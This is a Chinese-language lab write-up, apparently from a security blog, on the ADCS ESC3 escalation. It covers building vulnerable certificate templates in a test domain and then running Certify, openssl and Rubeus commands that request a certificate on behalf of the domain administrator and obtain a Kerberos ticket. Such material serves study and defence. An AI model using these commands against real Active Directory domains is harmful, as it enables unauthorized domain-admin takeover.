域渗透笔记-ADCS 域提权-ESC3

发布于 2023-02-03  473 次阅读


简介:

AD CS(Active Directory 证书服务)中的企业CA使用证书模板定义设置颁发证书,这些证书模板是注册策略和预定义证书设置的集合,并包含诸如此证书的有效期是多长?、证书的用途是什么?、主题是如何指定的?、谁可以申请证书?,以及无数其他设置。证书模板有一组特定的设置,这使得它们非常容易受到攻击。

ESC3原理:

第三种滥用场景(ESC3)与ESC1和ESC2类似,但滥用的是不同的EKU,证书请求代理EKU (OID 1.3.6.1.4.1.311.20.2.1),在Microsoft文档101中称为注册代理,允许主体代表另一个用户注册证书。

应用场景:
假设智能卡用户亲自访问IT管理员进行验证,然后该管理员需要代表该用户提交证书请求。
AD CS通过在其eku中包含一个证书请求代理OID(1.3.6.1.4.1.311.20.2.1)的证书模板来实现这一点需求。“注册代理”在这样的模板中注册,并使用生成的证书代表其他用户共同签署CSR。然后,它将共同签署的CSR发送到CA,注册到一个允许“代表注册”的模板中,CA会用属于其他用户的证书进行响应。

ESC3利用条件:

ESC3要成功利用要有两个模板

第一个模板要满足以下几点(最主要是前2点)
1、需要有权限去注册证书
2、证书模板中应用策略开启“证书申请代理”
3、颁发 CA 授予低权限用户请求权限 (默认)
4、模板中 CA 管理员审批未启用 (默认)
5、模板中不需要授权的签名 (默认)

第二个模板要满足以下几点(最主要是前3点)
1、需要有权限去注册证书
2、模板定义了启用认证的 EKU(应用程序策略有任意一种身份验证)
3、模板模式版本 1 或大于 2 并指定应用策略,签发要求证书请求代理 EKU
4、颁发 CA 授予低权限用户请求权限 (默认)
5、模板中 CA 管理员审批未启用 (默认)
6、模板中不需要授权的签名 (默认)

ESC3漏洞环境配置:

首先进入证书颁发机构

选中证书模板,右键管理

这里一共要注册两个模板

第一个:
选中注册代理模板
右键复制模板
给新模板命名ESC3
需要更改以下配置:
安全属性中设置注册权限

扩展中应用程序策略改成证书申请代理(默认)

其余地方保持不变,保存
接着在颁发机构颁发证书模板

第二个:
复制注册代理模板,起名ESC3-2
安全属性中设置注册权限

发布要求中设置授权签名并设置策略类型

扩展设置客户端认证

保存,颁发证书
1.
这样,我们得ESC3漏洞环境就搭建完成了

ESC3漏洞复现:

这里还是先用Certify检查下证书模板配置

Certify.exe find /vulnerable

C:\Users\zhangsan\Desktop>Certify.exe find /vulnerable
CertifyKit (Hagrid29 version of Certify)
More info: https://github.com/Hagrid29/CertifyKit/

[*] Action: Find certificate templates
[*] Using the search base 'CN=Configuration,DC=test,DC=com'

[*] Listing info about the Enterprise CA 'test-CA-CA'

    Enterprise CA Name            : test-CA-CA
    DNS Hostname                  : CA.test.com
    FullName                      : CA.test.com\test-CA-CA
    Flags                         : SUPPORTS_NT_AUTHENTICATION, CA_SERVERTYPE_ADVANCED
    Cert SubjectName              : CN=test-CA-CA, DC=test, DC=com
    Cert Thumbprint               : BA926BC14D8A5A42A94F7A75289F761ED3D55676
    Cert Serial                   : 6B1C11898A943F83420886349402F998
    Cert Start Date               : 2023/2/1 23:43:31
    Cert End Date                 : 2028/2/1 23:53:30
    Cert Chain                    : CN=test-CA-CA,DC=test,DC=com
    UserSpecifiedSAN              : Disabled
    CA Permissions                :
      Owner: BUILTIN\Administrators        S-1-5-32-544

      Access Rights                                     Principal

      Allow  Enroll                                     NT AUTHORITY\Authenticated UsersS-1-5-11
      Allow  ManageCA, ManageCertificates               BUILTIN\Administrators        S-1-5-32-544
      Allow  ManageCA, ManageCertificates               TEST\Domain Admins            S-1-5-21-3103767057-400549548-1822187925-512
      Allow  ManageCA, ManageCertificates               TEST\Enterprise Admins        S-1-5-21-3103767057-400549548-1822187925-519
    Enrollment Agent Restrictions : None

[!] Vulnerable Certificates Templates :

    CA Name                               : CA.test.com\test-CA-CA
    Template Name                         : ESC3
    Schema Version                        : 2
    Validity Period                       : 2 years
    Renewal Period                        : 6 weeks
    msPKI-Certificate-Name-Flag          : SUBJECT_ALT_REQUIRE_UPN, SUBJECT_REQUIRE_DIRECTORY_PATH
    mspki-enrollment-flag                 : AUTO_ENROLLMENT
    Authorized Signatures Required        : 0
    pkiextendedkeyusage                   : 证书申请代理
    mspki-certificate-application-policy  : 证书申请代理
    Permissions
      Enrollment Permissions
        Enrollment Rights           : NT AUTHORITY\Authenticated UsersS-1-5-11
                                      TEST\Domain Admins            S-1-5-21-3103767057-400549548-1822187925-512
                                      TEST\Enterprise Admins        S-1-5-21-3103767057-400549548-1822187925-519
      Object Control Permissions
        Owner                       : TEST\Administrator            S-1-5-21-3103767057-400549548-1822187925-500
        WriteOwner Principals       : TEST\Administrator            S-1-5-21-3103767057-400549548-1822187925-500
                                      TEST\Domain Admins            S-1-5-21-3103767057-400549548-1822187925-512
                                      TEST\Enterprise Admins        S-1-5-21-3103767057-400549548-1822187925-519
        WriteDacl Principals        : TEST\Administrator            S-1-5-21-3103767057-400549548-1822187925-500
                                      TEST\Domain Admins            S-1-5-21-3103767057-400549548-1822187925-512
                                      TEST\Enterprise Admins        S-1-5-21-3103767057-400549548-1822187925-519
        WriteProperty Principals    : TEST\Administrator            S-1-5-21-3103767057-400549548-1822187925-500
                                      TEST\Domain Admins            S-1-5-21-3103767057-400549548-1822187925-512
                                      TEST\Enterprise Admins        S-1-5-21-3103767057-400549548-1822187925-519

这里主要看这两个地方
mspki-certificate-application-policy应用程序策略为 证书申请代理,满足低权限用户进行注册

这里可以看满足利用条件

首先命令行输入certmgr打开证书面板
右键个人文件夹申请新证书

默认下一步

下一步
这里我们选择ESC模板,点击详情打开属性

私钥中选择私钥可以导出

接着确定,注册证书

接着我们选中刚刚注册的证书,右键导出

选择导出私钥

下一步

这里设置一个密码123123

导出到桌面ESC3.pfx

接着利用刚刚申请的证书代表 administrator 申请 esc3_2.pfx 的身份认证证书

Certify.exe request /ca:"CA.test.com\test-CA-CA" /template:ESC3-2 /onbehalfof:TEST\administrator /enrollcert:ESC3.pfx /enrollcertpw:123123

成功申请到证书

这时我们去证书服务器上看下,发现申请人是administrator

最后我们只需要在kali上转换成pfx格式的证书就可以请求tgt票据了

openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

使用Rubeus工具获取tgt
https://github.com/GhostPack/Rubeus

在获取tgt之前,我们尝试访问域控上的文件,发现无法访问

使用Rubeus获取tgt

Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /dc:192.168.161.177 /ptt

如果出现 KRB-ERROR (16) : KDC_ERR_PADATA_TYPE_NOSUPP
我这边重启了下域控就好了,应该是证书没同步
这时候就可以访问域控文件了

届ける言葉を今は育ててる
最后更新于 2023-02-03